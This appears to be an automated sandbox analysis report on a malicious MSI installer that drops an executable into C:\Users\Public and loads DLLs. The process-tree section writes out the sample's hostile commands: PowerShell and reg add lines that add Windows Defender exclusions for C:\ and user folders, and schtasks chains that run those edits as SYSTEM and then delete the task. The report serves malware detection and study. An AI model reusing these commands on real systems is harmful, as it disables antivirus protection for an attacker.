Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/10/2026, 06:17

General

  • Target
    install.m.1.11.msi
  • Size 5.9MB
  • Sample261029-g15mfaxtfz
  • SHA256 30189abe92d154f0bb28a6aeb2cb5fa7305b61a3c62f629910b1c2d7dc8b8ca0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install.m.1.11.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2632
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5656
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4772
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding F610B72EDCF0D6307CAC1FAB81F6082D E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1860
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:4440
  • C:\Users\Public\Af6EzS\MRtMzI.exe
    "C:\Users\Public\Af6EzS\MRtMzI.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4500
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Af6EzS\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4140
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Af6EzS\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1708
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4868
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1784
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2312
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5708
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1008
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1704
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4176
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5456
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4484
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2456
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4244
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5228
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4112
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1968
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Af6EzS" /t REG_DWORD /d 0 /f
                    1⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:1444
                    • C:\Windows\System32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Af6EzS" /t REG_DWORD /d 0 /f
                      2⤵
                      • Windows security bypass
                      PID:4560
                  • C:\Windows\system32\cmd.exe
                    cmd.exe
                    1⤵
                      PID:2592
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:5664
                      • C:\Windows\System32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        2⤵
                        • Windows security bypass
                        PID:3400
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:4632
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:3924

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          e59c6e1.rbs

                          • Path C:\Config.Msi\e59c6e1.rbs
                          • Size 7KB
                          • SHA256 66bc10601e8fc578fe4ba082f2693b1df3476d62a1a76dbcde29b64de88cb12a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __PSScriptPolicyTest_4yvptp2o.o1l.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yvptp2o.o1l.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          MRtMzI.exe

                          • Path C:\Users\Public\Af6EzS\MRtMzI.exe
                          • Size 135KB
                          • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          UxEnhance64.dll

                          • Path C:\Users\Public\Af6EzS\UxEnhance64.dll
                          • Size 3.1MB
                          • SHA256 76ef2172f10e2a67147c930f22870051f27d30ef6277253774c69adb47fb2456
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          adoresd.dat

                          • Path C:\Users\Public\Af6EzS\adoresd.dat
                          • Size 4.8MB
                          • SHA256 d7c4df6a8f087678c6b2499c98f831f10fb6fa96da66e3e1ffda242a62f6f941
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          msadox.tb

                          • Path C:\Users\Public\Af6EzS\msadox.tb
                          • Size 8KB
                          • SHA256 32eaaebe0a2f552975b5d1c16c9591be80ff2e8cd3f5e61d46668c6a5c1bb59b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          MSICC50.tmp

                          • Path C:\Windows\Installer\MSICC50.tmp
                          • Size 5.9MB
                          • SHA256 8dc3f9862bbaaaf4745e0f198d156959e951072275ab675118f8cc904ae09a2f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          e59c6e2.msi

                          • Path C:\Windows\Installer\e59c6e2.msi
                          • Size 5.9MB
                          • SHA256 30189abe92d154f0bb28a6aeb2cb5fa7305b61a3c62f629910b1c2d7dc8b8ca0
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          metadata-2

                          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                          • Size 26.1MB
                          • SHA256 67c826ad5646de273ebceb002037b7379ca71eabb9ad9a7816b1377c1a9236d7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          {0a1251ad-5186-4e8a-ace4-3d0abd0f8efd}_OnDiskSnapshotProp

                          • Path \??\Volume{e70967fa-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0a1251ad-5186-4e8a-ace4-3d0abd0f8efd}_OnDiskSnapshotProp
                          • Size 6KB
                          • SHA256 8d70656f79cb7ee67fc2b2f17f447fa173ded7213580cc4dab6a7f9ccf4c784c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1860-50-0x00007FFEA34C0000-0x00007FFEA34D2000-memory.dmp

                          memory/1860-16-0x00007FFEA34C0000-0x00007FFEA34D2000-memory.dmp

                          memory/1860-13-0x00007FFE89F80000-0x00007FFE8A5B1000-memory.dmp

                          memory/1860-12-0x00007FFEAD430000-0x00007FFEAD432000-memory.dmp

                          memory/2864-74-0x00007FFEAD440000-0x00007FFEAD442000-memory.dmp

                          memory/2864-96-0x0000026B45BB0000-0x0000026B45C3A000-memory.dmp

                          memory/2864-66-0x00007FFEAD430000-0x00007FFEAD432000-memory.dmp

                          memory/2864-72-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-104-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-79-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-75-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-80-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-81-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-82-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-87-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-67-0x00007FFE8A0A0000-0x00007FFE8A5BE000-memory.dmp

                          memory/2864-97-0x0000026B45BB0000-0x0000026B45C3A000-memory.dmp

                          memory/2864-99-0x0000026B45BB0000-0x0000026B45C3A000-memory.dmp

                          memory/2864-98-0x0000026B45BB0000-0x0000026B45C3A000-memory.dmp

                          memory/2864-93-0x0000026B44DD0000-0x0000026B456A7000-memory.dmp

                          memory/2864-95-0x0000026B45700000-0x0000026B4574E000-memory.dmp

                          memory/4500-113-0x0000022CC8130000-0x0000022CC8152000-memory.dmp

                          memory/4500-121-0x0000022CC82E0000-0x0000022CC82FE000-memory.dmp

                          memory/4500-122-0x0000022CC8580000-0x0000022CC8632000-memory.dmp

                          memory/5656-60-0x000002920DD90000-0x000002920DDD0000-memory.dmp

                          memory/5656-17-0x000002920DD90000-0x000002920DDD0000-memory.dmp